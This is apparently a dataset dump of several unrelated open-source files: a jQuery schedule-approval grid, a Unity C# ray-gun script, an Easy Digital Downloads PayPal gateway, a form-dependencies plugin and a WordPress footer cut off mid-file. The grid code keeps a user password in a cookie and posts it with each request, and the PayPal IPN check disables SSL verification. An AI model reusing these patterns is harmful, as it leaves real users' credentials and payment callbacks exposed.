last_col = -1;
last_proj_no = '';
var weeks;
var schdColModels = [ {
display : '人员',
name : 'emp_name',
width : 54,
align : 'center'
}, {
display : '状态',
name : 'proj_status',
width : 36
}, {
display : '类型',
name : 'proj_type',
width : 36
}, {
display : '项目编号',
name : 'proj_no',
sortable : true,
width : 60,
align : 'center'
}, {
display : '项目名称',
name : 'proj_name',
width : 280
} ];
function getProjInfo(id) {
var row = document.getElementById('schdgrid').rows[id-1];
var td = row.cells;
proj_no = $(td[3]).text();
// proj_name = $(td[4]).text();
// proj_schd = $(td[col + 5]).text();
proj_user = $(td[0]).text();
}
function getColumnId(tdDiv, id) { // start from 0 of schedule data
var row = document.getElementById('schdgrid').rows[id-1];
var td = row.cells;
for (j = 0; j < td.length; j++) {
if ($(td[j]).children(0).is($(tdDiv)))
return j - 5;
}
return str;
}
function editCell(tdDiv, id) {
var value = $(tdDiv).html();
$(tdDiv).click(function () {
col = getColumnId(tdDiv, id);
getProjInfo(id);
if ($(this).parent().attr('style') == null) {
return false;
}
if (getCookie('emp_yst_id') == '') {
$('#loginModal').modal('show');
return false;
}
if (last_col == col && last_proj_no == proj_no
&& $('.my-dropdown').css('display') != 'none') {
$('.my-dropdown').hide();
} else {
$('.my-dropdown').hide();
$('.my-dropdown').css("top", $(this).offset().top + 16).css("left", $(this).offset().left + 30).show();
}
last_col = col;
last_proj_no = proj_no;
return false;
});
}
$('#index-li').addClass('active');
$('#schd-li').addClass('active');
$('#top-container').html('<h4>' + SCHDTABLENAME + '</h4>');
$.post('getprojschd', function (data) {
if (data == '')
return;
weeks = data.split('|');
var len = schdColModels.length;
for (var i = 0; i < weeks.length; i++) {
schdColModels[len+i] = new Object();
schdColModels[len+i].display = weeks[i];
schdColModels[len+i].name = 'week' + (i+1);
schdColModels[len+i].width = 80;
schdColModels[len+i].process = editCell;
}
var Handle = function(com, grid) {
if (com == '导出Excel') {
$('#schdgrid').flexExport('exportexcel', 'schdtable');
} else if (com == '批量通过') {
if (getCookie('emp_yst_id') == '') {
$('#loginModal').modal('show');
return false;
}
$.each($('.trSelected', grid), function(key, value) {
for (var i = 5; i < schdColModels.length; i++) {
var cell = value.children[i];
if ($(cell).attr('style') == null) {
continue;
}
$.post('checkstate', {
emp_yst_id: getCookie('emp_yst_id'),
emp_pwd: getCookie('emp_pwd'),
emp_name: $(value.children[0]).text(),
proj_no: $(value.children[3]).text(),
col_id: i - 5,
check_state: 2
}, function(data) {
if (data == 'true') {
$('#schdgrid').flexReload();
return;
}
if ($('#infoModal').is(':hidden')) {
if (data == 'noauth') {
$('#glob-info').html('<h3>没有权限</h3>');
} else if (data == 'false') {
$('#glob-info').html('<h3>操作失败</h3>');
} else if (data == 'notlogged') {
$('#glob-info').html('<h3>请先登录</h3>');
}
$('#infoModal').modal('show');
setTimeout(function() {
$('#infoModal').modal('hide');
$('#glob-info').empty().removeClass('text-success').addClass('text-error');
}, 1200);
}
});
}
});
} else if (com == '显示本组') {
$('#schdgrid').flexOptions({params: [{name : 'team_name', value : getCookie('emp_yst_id')}]}).flexReload();
} else if (com == '显示全部') {
$('#schdgrid').flexOptions({params: [{name : 'team_name', value : 'all'}]}).flexReload();
}
};
$("#schdgrid").flexigrid( {
url : 'slctempschd',
dataType : 'json',
colModel : schdColModels,
buttons : [ {
name : '批量通过',
bclass : 'allpass',
onpress : Handle
}, {
name : '导出Excel',
bclass : 'export',
onpress : Handle
}, {
separator : true
}, {
name : '显示本组',
bclass : 'mygrp',
onpress : Handle
}, {
name : '显示全部',
bclass : 'allgrp',
onpress : Handle
}],
searchitems : [ {
display : '员工姓名',
name : 'emp_name'
}, {
display : '项目编号',
name : 'proj_no'
}, {
display : '项目名称',
name : 'proj_name',
isdefault : true
} ],
sortname : 'emp_name',
sortorder : 'asc',
usepager : true,
rp : 20,
rpOptions: [20, 30, 50, 100],
title : SCHDTABLENAME,
nomsg : '没有项目',
showTableToggleBtn : false,
//singleSelect : true,
width : 'auto',
height : document.documentElement.clientHeight - BOTTOMMARGIN
});
});
$('#dropdown-audit-pass').click(function() {
$('.my-dropdown').hide();
$.post('checkstate', {
emp_yst_id: getCookie('emp_yst_id'),
emp_pwd: getCookie('emp_pwd'),
emp_name: proj_user,
proj_no: proj_no,
col_id: col,
check_state: 2
}, function(data) {
if (data == 'true') {
$('#schdgrid').flexReload();
return;
}
if ($('#infoModal').is(':hidden')) {
if (data == 'noauth') {
$('#glob-info').html('<h3>没有权限</h3>');
} else if (data == 'false') {
$('#glob-info').html('<h3>操作失败</h3>');
} else if (data == 'notlogged') {
$('#glob-info').html('<h3>请先登录</h3>');
}
$('#infoModal').modal('show');
setTimeout(function() {
$('#infoModal').modal('hide');
$('#glob-info').empty().removeClass('text-success').addClass('text-error');
}, 1200);
}
});
});
$('#dropdown-audit-reject').click(function() {
$('.my-dropdown').hide();
$.post('checkstate', {
emp_yst_id: getCookie('emp_yst_id'),
emp_pwd: getCookie('emp_pwd'),
emp_name: proj_user,
proj_no: proj_no,
col_id: col,
check_state: 3
}, function(data) {
if (data == 'true') {
$('#schdgrid').flexReload();
return;
}
if ($('#infoModal').is(':hidden')) {
if (data == 'noauth') {
$('#glob-info').html('<h3>没有权限</h3>');
} else if (data == 'false') {
$('#glob-info').html('<h3>操作失败</h3>');
} else if (data == 'notlogged') {
$('#glob-info').html('<h3>请先登录</h3>');
}
$('#infoModal').modal('show');
setTimeout(function() {
$('#infoModal').modal('hide');
$('#glob-info').empty().removeClass('text-success').addClass('text-error');
}, 1200);
}
});
}); | chiphead/blabla | WebRoot/js/schdgrid.js | JavaScript | gpl-2.0 | 6,827 |
using System.Collections;
using UnityEngine;
namespace Minijogos
{
[RequireComponent(typeof(AudioSource))]
public class RayGun : GameplayToolComponent
{
public Transform rayTransform;
public LayerMask hitLayer;
public GameObject bullet;
private AudioSource audioSource;
private LineRenderer rayRenderer;
private RaycastHit hit;
private bool canFire = true;
private const float RAY_DISTANCE = 100f;
protected override void Start()
{
base.Start();
amaru = Amaru.Instance as Amaru;
audioSource = GetComponent<AudioSource>();
rayRenderer = rayTransform.GetComponent<LineRenderer>();
if (rayRenderer == null)
throw new UnityException("Ray Render is null.");
Catch();
}
private void Update()
{
LockOff();
if(Physics.Raycast(rayTransform.position, Vector3.right, out hit,
RAY_DISTANCE, hitLayer))
{
LockOn();
}
if (Amaru.Instance.input.GetButtonDown("Action") && canFire)
{
Fire();
}
}
private void Fire()
{
amaru.input.SetVibration(1f);
amaru.animator.SetTrigger("fire");
audioSource.Play();
fireBullet();
StartCoroutine(RicochetCoroutine());
}
private void fireBullet()
{
GameObject bInstance = Instantiate(bullet, rayTransform.position, Quaternion.identity)
as GameObject;
RayBullet rayBulletInstance = bInstance.GetComponent<RayBullet>();
rayBulletInstance.direction = rayTransform.forward;
//check if the bullet will colide with choice
if (hit.transform != null)
{
float timeToColide = hit.distance / rayBulletInstance.speed;
Destroy(rayBulletInstance.gameObject, timeToColide);
GameplayItemComponent choiceInstance = hit.transform.GetComponent<GameplayItemComponent>();
if (choiceInstance != null && !choiceInstance.DoingAnimation)
{
StartCoroutine(BulletHitCoroutine(timeToColide, choiceInstance));
}
}
else
{
Destroy(rayBulletInstance.gameObject, rayBulletInstance.timeAlive);
}
}
private IEnumerator RicochetCoroutine()
{
canFire = false;
rayTransform.gameObject.SetActive(canFire);
//animação de tiro tem 15 frames
yield return new WaitForSeconds(0.5f);
canFire = true;
rayTransform.gameObject.SetActive(canFire);
}
private IEnumerator BulletHitCoroutine(float time, GameplayItemComponent component)
{
yield return new WaitForSeconds(time);
component.StartInteractionAnimation();
}
private void LockOn()
{
rayRenderer.SetPosition(1, Vector3.forward * Vector3.Distance(hit.point, rayTransform.position));
rayRenderer.SetColors(Color.red, Color.red);
}
private void LockOff()
{
rayRenderer.SetPosition(1, Vector3.forward * RAY_DISTANCE);
rayRenderer.SetColors(Color.green, Color.green);
}
public override void Drop()
{
transform.SetParent(null);
Destroy(this.gameObject);
}
public override void Catch()
{
transform.SetParent(amaru.gunPoint);
transform.localPosition = Vector3.zero;
transform.localRotation = Quaternion.identity;
}
}
} | HyagoOliveira/NewAmaru | Assets/Scripts/Minijogos/Jatpack/RayGun.cs | C# | gpl-2.0 | 3,831 |
<?php
/**
* PayPal Standard Gateway
*
* @package EDD
* @subpackage Gateways
* @copyright Copyright (c) 2014, Pippin Williamson
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.0
*/
/**
* PayPal Remove CC Form
*
* PayPal Standard does not need a CC form, so remove it.
*
* @access private
* @since 1.0
*/
add_action( 'edd_paypal_cc_form', '__return_false' );
/**
* Process PayPal Purchase
*
* @since 1.0
* @global $edd_options Array of all the EDD Options
* @param array $purchase_data Purchase Data
* @return void
*/
function edd_process_paypal_purchase( $purchase_data ) {
global $edd_options;
// Collect payment data
$payment_data = array(
'price' => $purchase_data['price'],
'date' => $purchase_data['date'],
'user_email' => $purchase_data['user_email'],
'purchase_key' => $purchase_data['purchase_key'],
'currency' => edd_get_currency(),
'downloads' => $purchase_data['downloads'],
'user_info' => $purchase_data['user_info'],
'cart_details' => $purchase_data['cart_details'],
'gateway' => 'paypal',
'status' => 'pending'
);
// Record the pending payment
$payment = edd_insert_payment( $payment_data );
// Check payment
if ( ! $payment ) {
// Record the error
edd_record_gateway_error( __( 'Payment Error', 'edd' ), sprintf( __( 'Payment creation failed before sending buyer to PayPal. Payment data: %s', 'edd' ), json_encode( $payment_data ) ), $payment );
// Problems? send back
edd_send_back_to_checkout( '?payment-mode=' . $purchase_data['post_data']['edd-gateway'] );
} else {
// Only send to PayPal if the pending payment is created successfully
$listener_url = add_query_arg( 'edd-listener', 'IPN', home_url( 'index.php' ) );
// Get the success url
$return_url = add_query_arg( array(
'payment-confirmation' => 'paypal',
'payment-id' => $payment
), get_permalink( $edd_options['success_page'] ) );
// Get the PayPal redirect uri
$paypal_redirect = trailingslashit( edd_get_paypal_redirect() ) . '?';
// Setup PayPal arguments
$paypal_args = array(
'business' => $edd_options['paypal_email'],
'email' => $purchase_data['user_email'],
'invoice' => $purchase_data['purchase_key'],
'no_shipping' => '1',
'shipping' => '0',
'no_note' => '1',
'currency_code' => edd_get_currency(),
'charset' => get_bloginfo( 'charset' ),
'custom' => $payment,
'rm' => '2',
'return' => $return_url,
'cancel_return' => edd_get_failed_transaction_uri( '?payment-id=' . $payment ),
'notify_url' => $listener_url,
'page_style' => edd_get_paypal_page_style(),
'cbt' => get_bloginfo( 'name' ),
'bn' => 'EasyDigitalDownloads_SP'
);
if ( ! empty( $purchase_data['user_info']['address'] ) ) {
$paypal_args['address1'] = $purchase_data['user_info']['address']['line1'];
$paypal_args['address2'] = $purchase_data['user_info']['address']['line2'];
$paypal_args['city'] = $purchase_data['user_info']['address']['city'];
$paypal_args['country'] = $purchase_data['user_info']['address']['country'];
}
$paypal_extra_args = array(
'cmd' => '_cart',
'upload' => '1'
);
$paypal_args = array_merge( $paypal_extra_args, $paypal_args );
// Add cart items
$i = 1;
foreach ( $purchase_data['cart_details'] as $item ) {
$item_amount = round( ( $item['subtotal'] / $item['quantity'] ) - ( $item['discount'] / $item['quantity'] ), 2 );
if( $item_amount <= 0 ) {
$item_amount = 0;
}
if ( edd_has_variable_prices( $item['id'] ) && edd_get_cart_item_price_id( $item ) !== false ) {
$item['name'] .= ' - ' . edd_get_cart_item_price_name( $item );
}
$paypal_args['item_name_' . $i ] = stripslashes_deep( html_entity_decode( wp_strip_all_tags( $item['name'] ), ENT_COMPAT, 'UTF-8' ) );
$paypal_args['quantity_' . $i ] = $item['quantity'];
$paypal_args['amount_' . $i ] = $item_amount;
if ( edd_use_skus() ) {
$paypal_args['item_number_' . $i ] = edd_get_download_sku( $item['id'] );
}
$i++;
}
// Calculate discount
$discounted_amount = 0.00;
if ( ! empty( $purchase_data['fees'] ) ) {
$i = empty( $i ) ? 1 : $i;
foreach ( $purchase_data['fees'] as $fee ) {
if ( floatval( $fee['amount'] ) > '0' ) {
// this is a positive fee
$paypal_args['item_name_' . $i ] = stripslashes_deep( html_entity_decode( wp_strip_all_tags( $fee['label'] ), ENT_COMPAT, 'UTF-8' ) );
$paypal_args['quantity_' . $i ] = '1';
$paypal_args['amount_' . $i ] = edd_sanitize_amount( $fee['amount'] );
$i++;
} else {
// This is a negative fee (discount)
$discounted_amount += abs( $fee['amount'] );
}
}
}
if ( $discounted_amount > '0' ) {
$paypal_args['discount_amount_cart'] = edd_sanitize_amount( $discounted_amount );
}
// Add taxes to the cart
if ( edd_use_taxes() ) {
$paypal_args['tax_cart'] = edd_sanitize_amount( $purchase_data['tax'] );
}
$paypal_args = apply_filters( 'edd_paypal_redirect_args', $paypal_args, $purchase_data );
// Build query
$paypal_redirect .= http_build_query( $paypal_args );
// Fix for some sites that encode the entities
$paypal_redirect = str_replace( '&', '&', $paypal_redirect );
// Get rid of cart contents
edd_empty_cart();
// Redirect to PayPal
wp_redirect( $paypal_redirect );
exit;
}
}
add_action( 'edd_gateway_paypal', 'edd_process_paypal_purchase' );
/**
* Listens for a PayPal IPN requests and then sends to the processing function
*
* @since 1.0
* @global $edd_options Array of all the EDD Options
* @return void
*/
function edd_listen_for_paypal_ipn() {
global $edd_options;
// Regular PayPal IPN
if ( isset( $_GET['edd-listener'] ) && $_GET['edd-listener'] == 'IPN' ) {
do_action( 'edd_verify_paypal_ipn' );
}
}
add_action( 'init', 'edd_listen_for_paypal_ipn' );
/**
* Process PayPal IPN
*
* @since 1.0
* @global $edd_options Array of all the EDD Options
* @return void
*/
function edd_process_paypal_ipn() {
global $edd_options;
// Check the request method is POST
if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] != 'POST' ) {
return;
}
// Set initial post data to empty string
$post_data = '';
// Fallback just in case post_max_size is lower than needed
if ( ini_get( 'allow_url_fopen' ) ) {
$post_data = file_get_contents( 'php://input' );
} else {
// If allow_url_fopen is not enabled, then make sure that post_max_size is large enough
ini_set( 'post_max_size', '12M' );
}
// Start the encoded data collection with notification command
$encoded_data = 'cmd=_notify-validate';
// Get current arg separator
$arg_separator = edd_get_php_arg_separator_output();
// Verify there is a post_data
if ( $post_data || strlen( $post_data ) > 0 ) {
// Append the data
$encoded_data .= $arg_separator.$post_data;
} else {
// Check if POST is empty
if ( empty( $_POST ) ) {
// Nothing to do
return;
} else {
// Loop through each POST
foreach ( $_POST as $key => $value ) {
// Encode the value and append the data
$encoded_data .= $arg_separator."$key=" . urlencode( $value );
}
}
}
// Convert collected post data to an array
parse_str( $encoded_data, $encoded_data_array );
// Get the PayPal redirect uri
$paypal_redirect = edd_get_paypal_redirect( true );
if ( ! edd_get_option( 'disable_paypal_verification' ) ) {
// Validate the IPN
$remote_post_vars = array(
'method' => 'POST',
'timeout' => 45,
'redirection' => 5,
'httpversion' => '1.0',
'blocking' => true,
'headers' => array(
'host' => 'www.paypal.com',
'connection' => 'close',
'content-type' => 'application/x-www-form-urlencoded',
'post' => '/cgi-bin/webscr HTTP/1.1',
),
'sslverify' => false,
'body' => $encoded_data_array
);
// Get response
$api_response = wp_remote_post( edd_get_paypal_redirect(), $remote_post_vars );
if ( is_wp_error( $api_response ) ) {
edd_record_gateway_error( __( 'IPN Error', 'edd' ), sprintf( __( 'Invalid IPN verification response. IPN data: %s', 'edd' ), json_encode( $api_response ) ) );
return; // Something went wrong
}
if ( $api_response['body'] !== 'VERIFIED' && !isset( $edd_options['disable_paypal_verification'] ) ) {
edd_record_gateway_error( __( 'IPN Error', 'edd' ), sprintf( __( 'Invalid IPN verification response. IPN data: %s', 'edd' ), json_encode( $api_response ) ) );
return; // Response not okay
}
}
// Check if $post_data_array has been populated
if ( ! is_array( $encoded_data_array ) && !empty( $encoded_data_array ) )
return;
$defaults = array(
'txn_type' => '',
'payment_status' => ''
);
$encoded_data_array = wp_parse_args( $encoded_data_array, $defaults );
if ( has_action( 'edd_paypal_' . $encoded_data_array['txn_type'] ) ) {
// Allow PayPal IPN types to be processed separately
do_action( 'edd_paypal_' . $encoded_data_array['txn_type'], $encoded_data_array );
} else {
// Fallback to web accept just in case the txn_type isn't present
do_action( 'edd_paypal_web_accept', $encoded_data_array );
}
exit;
}
add_action( 'edd_verify_paypal_ipn', 'edd_process_paypal_ipn' );
/**
* Process web accept (one time) payment IPNs
*
* @since 1.3.4
* @global $edd_options Array of all the EDD Options
* @param array $data IPN Data
* @return void
*/
function edd_process_paypal_web_accept_and_cart( $data ) {
global $edd_options;
if ( $data['txn_type'] != 'web_accept' && $data['txn_type'] != 'cart' && $data['payment_status'] != 'Refunded' ) {
return;
}
// Collect payment details
$payment_id = $data['custom'];
$purchase_key = isset( $data['invoice'] ) ? $data['invoice'] : $data['item_number'];
$paypal_amount = $data['mc_gross'];
$payment_status = strtolower( $data['payment_status'] );
$currency_code = strtolower( $data['mc_currency'] );
$business_email = isset( $data['business'] ) && is_email( $data['business'] ) ? trim( $data['business'] ) : trim( $data['receiver_email'] );
if ( edd_get_payment_gateway( $payment_id ) != 'paypal' ) {
return; // this isn't a PayPal standard IPN
}
// Verify payment recipient
if ( strcasecmp( $business_email, trim( $edd_options['paypal_email'] ) ) != 0 ) {
edd_record_gateway_error( __( 'IPN Error', 'edd' ), sprintf( __( 'Invalid business email in IPN response. IPN data: %s', 'edd' ), json_encode( $data ) ), $payment_id );
edd_update_payment_status( $payment_id, 'failed' );
edd_insert_payment_note( $payment_id, __( 'Payment failed due to invalid PayPal business email.', 'edd' ) );
return;
}
// Verify payment currency
if ( $currency_code != strtolower( edd_get_currency() ) ) {
edd_record_gateway_error( __( 'IPN Error', 'edd' ), sprintf( __( 'Invalid currency in IPN response. IPN data: %s', 'edd' ), json_encode( $data ) ), $payment_id );
edd_update_payment_status( $payment_id, 'failed' );
edd_insert_payment_note( $payment_id, __( 'Payment failed due to invalid currency in PayPal IPN.', 'edd' ) );
return;
}
if ( ! edd_get_payment_user_email( $payment_id ) ) {
// This runs when a Buy Now purchase was made. It bypasses checkout so no personal info is collected until PayPal
// No email associated with purchase, so store from PayPal
edd_update_payment_meta( $payment_id, '_edd_payment_user_email', $data['payer_email'] );
// Setup and store the customers's details
$address = array();
$address['line1'] = ! empty( $data['address_street'] ) ? sanitize_text_field( $data['address_street'] ) : false;
$address['city'] = ! empty( $data['address_city'] ) ? sanitize_text_field( $data['address_city'] ) : false;
$address['state'] = ! empty( $data['address_state'] ) ? sanitize_text_field( $data['address_state'] ) : false;
$address['country'] = ! empty( $data['address_country_code'] ) ? sanitize_text_field( $data['address_country_code'] ) : false;
$address['zip'] = ! empty( $data['address_zip'] ) ? sanitize_text_field( $data['address_zip'] ) : false;
$user_info = array(
'id' => '-1',
'email' => sanitize_text_field( $data['payer_email'] ),
'first_name' => sanitize_text_field( $data['first_name'] ),
'last_name' => sanitize_text_field( $data['last_name'] ),
'discount' => '',
'address' => $address
);
$payment_meta = edd_get_payment_meta( $payment_id );
$payment_meta['user_info'] = $user_info;
edd_update_payment_meta( $payment_id, '_edd_payment_meta', $payment_meta );
}
if ( $payment_status == 'refunded' || $payment_status == 'reversed' ) {
// Process a refund
edd_process_paypal_refund( $data );
} else {
if ( get_post_status( $payment_id ) == 'publish' ) {
return; // Only complete payments once
}
// Retrieve the total purchase amount (before PayPal)
$payment_amount = edd_get_payment_amount( $payment_id );
if ( number_format( (float) $paypal_amount, 2 ) < number_format( (float) $payment_amount, 2 ) ) {
// The prices don't match
edd_record_gateway_error( __( 'IPN Error', 'edd' ), sprintf( __( 'Invalid payment amount in IPN response. IPN data: %s', 'edd' ), json_encode( $data ) ), $payment_id );
edd_update_payment_status( $payment_id, 'failed' );
edd_insert_payment_note( $payment_id, __( 'Payment failed due to invalid amount in PayPal IPN.', 'edd' ) );
return;
}
if ( $purchase_key != edd_get_payment_key( $payment_id ) ) {
// Purchase keys don't match
edd_record_gateway_error( __( 'IPN Error', 'edd' ), sprintf( __( 'Invalid purchase key in IPN response. IPN data: %s', 'edd' ), json_encode( $data ) ), $payment_id );
edd_update_payment_status( $payment_id, 'failed' );
edd_insert_payment_note( $payment_id, __( 'Payment failed due to invalid purchase key in PayPal IPN.', 'edd' ) );
return;
}
if ( $payment_status == 'completed' || edd_is_test_mode() ) {
edd_insert_payment_note( $payment_id, sprintf( __( 'PayPal Transaction ID: %s', 'edd' ) , $data['txn_id'] ) );
edd_set_payment_transaction_id( $payment_id, $data['txn_id'] );
edd_update_payment_status( $payment_id, 'publish' );
}
}
}
add_action( 'edd_paypal_web_accept', 'edd_process_paypal_web_accept_and_cart' );
/**
* Process PayPal IPN Refunds
*
* @since 1.3.4
* @param array $data IPN Data
* @return void
*/
function edd_process_paypal_refund( $data ) {
// Collect payment details
$payment_id = intval( $data['custom'] );
if ( get_post_status( $payment_id ) == 'refunded' ) {
return; // Only refund payments once
}
$payment_amount = edd_get_payment_amount( $payment_id );
$refund_amount = $data['payment_gross'] * -1;
if ( number_format( (float) $refund_amount, 2 ) < number_format( (float) $payment_amount, 2 ) ) {
edd_insert_payment_note( $payment_id, sprintf( __( 'Partial PayPal refund processed: %s', 'edd' ), $data['parent_txn_id'] ) );
return; // This is a partial refund
}
edd_insert_payment_note( $payment_id, sprintf( __( 'PayPal Payment #%s Refunded for reason: %s', 'edd' ), $data['parent_txn_id'], $data['reason_code'] ) );
edd_insert_payment_note( $payment_id, sprintf( __( 'PayPal Refund Transaction ID: %s', 'edd' ), $data['txn_id'] ) );
edd_update_payment_status( $payment_id, 'refunded' );
}
/**
* Get PayPal Redirect
*
* @since 1.0.8.2
* @global $edd_options Array of all the EDD Options
* @param bool $ssl_check Is SSL?
* @return string
*/
function edd_get_paypal_redirect( $ssl_check = false ) {
global $edd_options;
if ( is_ssl() || ! $ssl_check ) {
$protocal = 'https://';
} else {
$protocal = 'http://';
}
// Check the current payment mode
if ( edd_is_test_mode() ) {
// Test mode
$paypal_uri = $protocal . 'www.sandbox.paypal.com/cgi-bin/webscr';
} else {
// Live mode
$paypal_uri = $protocal . 'www.paypal.com/cgi-bin/webscr';
}
return apply_filters( 'edd_paypal_uri', $paypal_uri );
}
/**
* Set the Page Style for PayPal Purchase page
*
* @since 1.4.1
* @global $edd_options Array of all the EDD Options
* @return string
*/
function edd_get_paypal_page_style() {
global $edd_options;
$page_style = 'PayPal';
if ( isset( $edd_options['paypal_page_style'] ) )
$page_style = trim( $edd_options['paypal_page_style'] );
return apply_filters( 'edd_paypal_page_style', $page_style );
}
/**
* Shows "Purchase Processing" message for PayPal payments are still pending on site return
*
* This helps address the Race Condition, as detailed in issue #1839
*
* @since 1.9
* @return string
*/
function edd_paypal_success_page_content( $content ) {
if ( ! isset( $_GET['payment-id'] ) && ! edd_get_purchase_session() ) {
return $content;
}
$payment_id = isset( $_GET['payment-id'] ) ? absint( $_GET['payment-id'] ) : false;
if ( ! $payment_id ) {
$session = edd_get_purchase_session();
$payment_id = edd_get_purchase_id_by_key( $session['purchase_key'] );
}
$payment = get_post( $payment_id );
if ( $payment && 'pending' == $payment->post_status ) {
// Payment is still pending so show processing indicator to fix the Race Condition, issue #
ob_start();
edd_get_template_part( 'payment', 'processing' );
$content = ob_get_clean();
}
return $content;
}
add_filter( 'edd_payment_confirm_paypal', 'edd_paypal_success_page_content' );
/**
* Given a Payment ID, extract the transaction ID
*
* @since 2.1
* @param string $payment_id Payment ID
* @return string Transaction ID
*/
function edd_paypal_get_payment_transaction_id( $payment_id ) {
$transaction_id = '';
$notes = edd_get_payment_notes( $payment_id );
foreach ( $notes as $note ) {
if ( preg_match( '/^PayPal Transaction ID: ([^\s]+)/', $note->comment_content, $match ) ) {
$transaction_id = $match[1];
continue;
}
}
return apply_filters( 'edd_paypal_set_payment_transaction_id', $transaction_id, $payment_id );
}
add_filter( 'edd_get_payment_transaction_id-paypal', 'edd_paypal_get_payment_transaction_id', 10, 1 );
| vipin12117/Professi | wp-content/plugins/easy-digital-downloads/includes/gateways/paypal-standard.php | PHP | gpl-2.0 | 18,243 |
/*
jQuery Form Dependencies v2.0
http://github.com/digitalnature/Form-Dependencies
*/
;(function($, window, document, undefined){
$.fn.FormDependencies = function(opts){
var defaults = {
// the attribute which contains the rules
ruleAttr : 'data-depends-on',
// if given, this class will be applied to disabled elements
inactiveClass : false,
// clears input values from disabled fields
clearValues : false,
// attribute used to identify dependencies
identifyBy : 'data-depend-id'
},
opts = $.extend(defaults, opts),
disable = function(e){
if(!$(e).is(':input') && !$(e).hasClass('disabled'))
$(e).addClass('disabled');
if(!e.disabled){
e.disabled = true;
$('label[for="' + e.id + '"]').addClass('disabled');
if(opts.inactiveClass)
$(e, 'label[for="' + e.id + '"]').addClass(opts.inactiveClass);
// we don't want to "clear" submit buttons
if(opts.clearValues && !$(e).is(':submit'))
if($(e).is(':checkbox, :radio')) e.checked = false; else if(!$(e).is('select')) $(e).val('');
}
},
enable = function(e){
if(!$(e).is(':input') && $(e).hasClass('disabled'))
$(e).removeClass('disabled');
if(e.disabled){
e.disabled = false;
$('label[for="' + e.id + '"]').removeClass('disabled');
if(opts.inactiveClass || !$(e).is(':visible'))
$(e, 'label[for="' + e.id + '"]').removeClass(opts.inactiveClass);
}
},
// verifies if conditions are met
matches = function(key, values, block){
var i, v, invert = false, e = $('[' + opts.identifyBy + '="' + key + '"]', block);
e = e.is(':radio') ? e.filter(':checked') : e.filter('[type!="hidden"]')
for(i = 0; i < values.length; i++){
v = values[i];
invert = false;
if(v[0] === '!'){
invert = true;
v = v.substr(1);
}
if((e.val() == v) || (!v && e.is(':checked')) || ((e.is(':submit') || e.is(':button')) && !e.is(':disabled')))
return !invert;
}
return invert;
},
split = function(str, chr){
return $.map(str.split(chr), $.trim);
};
return this.each(function(){
var block = this, rules = [], keys = [];
// parse rules
$('[' + opts.ruleAttr + ']', this).each(function(){
var deps = $(this).attr(opts.ruleAttr), dep, values, parsedDeps = {}, i, invert;
if(!deps)
return this;
deps = split(deps, '+');
for(i = 0; i < deps.length; i++){
dep = deps[i];
invert = false;
// reverse conditional check if the name starts with '!'
// the rules should have any values specified in this case
if(dep[0] === '!'){
dep = dep.substr(1);
invert = true;
}
dep = split(dep, ':');
values = dep[1] || '';
if(!values && invert)
values = '!';
parsedDeps[dep[0]] = split(values, '|');
// store dep. elements in a separate array
$('[' + opts.identifyBy + '="' + dep[0] + '"]', block).filter('[type!="hidden"]').each(function(){
($.inArray(this, keys) !== -1) || keys.push(this);
parsedDeps[dep[0]].target = this;
});
}
rules.push({target: this, deps: parsedDeps});
});
if(!keys.length)
return this;
// attach our state checking function on keys (ie. elements on which other elements depend on)
$(keys).on('change.FormDependencies keyup', function(event){
// iterate trough all rules
$.each(rules, function(input, inputRules){
var hideIt = false;
$.each(inputRules.deps, function(key, values){
// we check only if a condition fails,
// in which case we know we need to disable the hooked element
if(!matches(key, values, block)){
hideIt = true;
return false;
}
});
hideIt ? disable(inputRules.target) : enable(inputRules.target);
});
}).trigger('change.FormDependencies');
return this;
});
};
})(jQuery, window, document); | ThemeSama/themesama-shortcodes | js/jquery.form-dependencies.js | JavaScript | gpl-2.0 | 4,534 |
YaVDR.TimersStore = Ext.extend(Ext.data.JsonStore, {
url: '/admin/dashboard_timers'
}); | yavdr/yavdr-webfrontend | yavdrweb-ng/static/javascripts/stores/timers.js | JavaScript | gpl-2.0 | 88 |
<?php global $wps5_option;
$logo = $wps5_option['custom_admin_logo'];
$f = ( ! empty( $wps5_option['facebook-url'] )) ? $wps5_option['facebook-url'] : '' ;
$f1 = ( ! empty( $wps5_option['google-plus-url'] )) ? $wps5_option['google-plus-url'] : "" ;
$f2 = ( ! empty( $wps5_option['twitter-url'] )) ? $wps5_option['twitter-url'] : "" ;
$f3 = ( ! empty( $wps5_option['youtube-url'] )) ? $wps5_option['youtube-url'] : "" ;
$cop = ( ! empty( $wps5_option['footer_credits_text'] )) ? $wps5_option['footer_credits_text'] : '<p class="copy-rights"><i class="fa fa-copyright"></i> 2015 <a href="http://wp-panda.com">WP Panda</a></p>' ;
?>
<footer>
<div class="footer-v2">
<div class="footer-outer-1">
<div class="container">
<div class="row">
<div class="col-xs-12 col-sm-4 col-md-2">
<?php
if ( function_exists('dynamic_sidebar') )
dynamic_sidebar('footer-1');
?>
</div>
<div class="col-xs-12 col-sm-4 col-md-2">
<?php
if ( function_exists('dynamic_sidebar') )
dynamic_sidebar('footer-2');
?>
</div>
<div class="col-xs-12 col-sm-4 col-md-2">
<?php
if ( function_exists('dynamic_sidebar') )
dynamic_sidebar('footer-3');
?>
</div>
<div class="col-xs-12 col-sm-6 col-md-2">
<?php
if ( function_exists('dynamic_sidebar') )
dynamic_sidebar('footer-4');
?>
</div>
<div class="col-xs-12 col-sm-6 col-md-4 company-info">
<div class="logo">
<?php
if( ! empty( $logo ) ) {
echo '<a href="' . home_url() . '" alt="' . get_bloginfo('name'). '"><img class="logo" src="' . $logo['url'] . '" title="' . get_bloginfo('name'). '"></a>';
} else {
get_template_part('templates/components/footer/logo','mixed');
}
?>
</div>
<?php
if ( function_exists('dynamic_sidebar') )
dynamic_sidebar('footer-5');
?>
<div class="social-network">
<h4 class="title">В социальных сетях</h4>
<div class="footer-social">
<ul class="social-links list-unstyled list-inline">
<?php if(!empty($f)) { ?>
<li><a href="<?php echo $f ?>" class="link"><span class="icon facebook"><i class="fa fa-facebook"></i></span></a></li>
<?php } ?>
<?php if(!empty($f1)) { ?>
<li><a href="<?php echo $f1 ?>" class="link"><span class="icon google-plus"><i class="fa fa-google-plus"></i></span></a></li>
<?php } ?>
<?php if(!empty($f2)) { ?>
<li><a href="<?php echo $f2 ?>" class="link"><span class="icon twitter"><i class="fa fa-twitter"></i></span></a></li>
<?php } ?>
<?php if(!empty($f3)) { ?>
